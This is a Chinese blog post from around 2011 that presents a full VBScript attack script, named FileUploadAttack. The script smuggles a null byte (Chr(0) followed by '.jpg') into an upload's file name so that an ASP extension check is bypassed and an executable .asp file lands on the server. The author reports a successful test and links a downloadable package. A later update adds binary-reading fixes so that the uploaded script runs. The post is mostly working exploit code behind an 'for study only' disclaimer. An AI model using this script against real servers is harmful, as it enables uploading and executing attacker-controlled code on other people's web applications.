提醒：本页面将不再更新、维护或者支持，文章、评论所叙述内容存在时效性，涉及技术细节或者软件使用方面不保证能够完全有效可操作，请谨慎参考！

本文部分脚本具有攻击性，仅供学习研究用，请用在合法合理范围内，对造成的损失本人不承担责任，本人也不提供黑客攻击技术指导。

今天 Demon 提到了这个问题，正好想到之前看到的一篇文章 《Automatic file upload using IE+ADO without user interaction - VBSscript》 。这篇文章给出了本地无交互自动上传脚本的示例，正好今天可以借来一用，原脚本利用了InternetExplorer.Application组件，我改写了一下，用WinHttp.WinHttpRequest.5.1实现了类似的功能，关于这个组件更多的用法请参考 《WinHttpRequest Object Reference》 。 

Option Explicit

Function file_get_contents(filename)
 Dim fso, f
 Set fso = WSH.CreateObject("Scripting.FilesystemObject")
 Set f = fso.OpenTextFile(filename, 1)
 file_get_contents = f.ReadAll
 f.Close
 Set f = Nothing
 Set fso = Nothing
End Function

' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
 Private m_objWinHttp
 Private m_strUrl
 Private m_strFieldName
 
 Private Sub Class_Initialize()
  Set m_objWinHttp = WSH.CreateObject( _
                    "WinHttp.WinHttpRequest.5.1")
 End Sub
 
 Private Sub Class_Terminate()
  Set m_objWinHttp = Nothing
 End Sub
 
 Public Sub setUrl(url)
  m_strUrl = url
 End Sub
 
 Public Sub setFieldName(name)
  m_strFieldName = name
 End Sub
 
 'Infrormations In form field header.
 Function mpFields(FieldName, FileName, ContentType)
  Dim MPTemplate 'template For multipart header
  MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
  " filename=""{file}""" + vbCrLf + _
  "Content-Type: {ct}" + vbCrLf + vbCrLf
  Dim Out
  Out = Replace(MPTemplate, "{field}", FieldName)
  Out = Replace(Out, "{file}", FileName)
  mpFields = Replace(Out, "{ct}", ContentType)
 End Function
 'Converts OLE string To multibyte string
 Function StringToMB(S)
  Dim I, B
  For I = 1 To Len(S)
   B = B & ChrB(Asc(Mid(S, I, 1)))
  Next
  StringToMB = B
 End Function

 'Build multipart/form-data document with file contents And header info
 Function BuildFormData(FileContents, Boundary, _
                       FileName, FieldName)
  Dim FormData, Pre, Po
  Const ContentType = "application/upload"
  
  'The two parts around file contents In the multipart-form data.
  Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
                                    FileName, ContentType)
  Po = vbCrLf + "--" + Boundary + "--" + vbCrLf
  
  'Build form data using recordset binary field
  Const adLongVarBinary = 205
  Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
  RS.Fields.Append "b", adLongVarBinary, _
                     Len(Pre) + LenB(FileContents) + Len(Po)
  RS.Open
  RS.AddNew
  Dim LenData
  'Convert Pre string value To a binary data
  LenData = Len(Pre)
  RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
  Pre = RS("b").GetChunk(LenData)
  RS("b") = ""
 
  'Convert Po string value To a binary data
  LenData = Len(Po)
  RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
  Po = RS("b").GetChunk(LenData)
  RS("b") = ""
 
  'Join Pre + FileContents + Po binary data
  RS("b").AppendChunk (Pre)
  RS("b").AppendChunk (FileContents)
  RS("b").AppendChunk (Po)
  RS.Update
  FormData = RS("b")
  RS.Close
  BuildFormData = FormData
 End Function

 
 Public Function sendFile(fileName)
  Const Boundary = "---------------------------0123456789012"
  m_objWinHttp.Open "POST", m_strUrl, False
  m_objWinHttp.setRequestHeader "Content-Type", _
               "multipart/form-data; boundary=" + Boundary
  
  Dim FileContents, FormData
  'Get source file As a binary data.
  FileContents = file_get_contents(FileName)
  
  ' 下面构造了恶意文件扩展名Chr(0) & .jpg
  'Build multipart/form-data document
  FormData = BuildFormData(FileContents, Boundary, _
          FileName & Chr(0) & ".jpg", m_strFieldName)
  
  m_objWinHttp.send FormData
  sendFile = m_objWinHttp.Status
 End Function
 
 Public Function getText()
   getText = m_objWinHttp.ResponseText
 End Function
End Class

Function VBMain()
 VBMain = 0
 
 Dim fileUpload
 Set fileUpload = New FileUploadAttack
  ' 需要修改下面内容为合适内容
  ' 上传url
  fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
  fileUpload.setFieldName "filepath" ' 上传表单框的name
  ' 需上传文件路径
  If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
   MsgBox "上传成功" & fileUpload.getText()
  Else
   MsgBox "失败"
  End If
 Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())

上传功能是随便在网上找的一个简单上传ASP文件，然后加入我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安全问题》所述的GetFileExtensionName判断扩展名是否是jpg。

测试结果是：手动上传asp，失败；利用上述攻击脚本上传asp文件，成功！在上传目录中确实是asp文件，通过浏览器URL也能访问这个asp文件，只是奇怪的是显示一片空白，我这里是IIS 7，难道是IIS版本问题，或许是file_get_contents应该返回文件的二进制流？好了，这个问题先搁在这儿，还有其他事，先闪了。

所有实验代码包，在这里 upload.zip（代码BUG参考下面更新说明） 下载。

2011年12月25日更新

根据大家反馈的上传文件变成Unicode Little Endian编码问题，首先抱歉的是当时确实偷懒了，主要代码参考的老外的，而且老外说明了一下GetFile这个函数获取文件二进制数据，没找到这个函数实现，也懒得去弄二进制读取，直接搞了个file_get_contents获取文本数据，事实证明这样确实存在问题，下面我把补救措施说明一下吧，还是偷懒一下，直接在现有的基础上将文本数据转换为二进制数据。使用ADODB.Stream组件，函数如下： 

' 将指定charset的字符串str转换为二进制
Function strtobin(str, charset)
  With WSH.CreateObject("ADODB.Stream")
      .Type = 2
      .Mode = 3
      .Open
      .Charset = charset
      .WriteText str
      .Flush
      .Position = 0
      .Type = 1
      
      strtobin = .Read()
      .Close
  End With
End Function

然后将上述代码的第106行改成下面这样（以ASCII读取文本）： 

FileContents = strtobin(file_get_contents(FileName), "ASCII")

这样改过后上传的ASP文件就是普通编码的文件了，然后浏览器访问这个文件，可以看到该ASP被成功解析。

不过这里觉得啰嗦了一点，其实可以直接以二进制打开文件并返回数据，这里进行了两步：1.以文本方式读取文件；2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制Byte()方式读取文件数据的函数： 

'Returns file contents As a binary data
Function GetFile(FileName)
  Dim Stream: Set Stream = CreateObject("ADODB.Stream")
  Stream.Type = 1 'Binary
  Stream.Open
  Stream.LoadFromFile FileName
  GetFile = Stream.Read
  Stream.Close
 Set Stream = Nothing
End Function

更优化的代码我就不写了，主要说明的是一个上传思路，如果大家希望得到完善的上传实现，可以参考Demon的 《VBS模拟POST上传文件》 。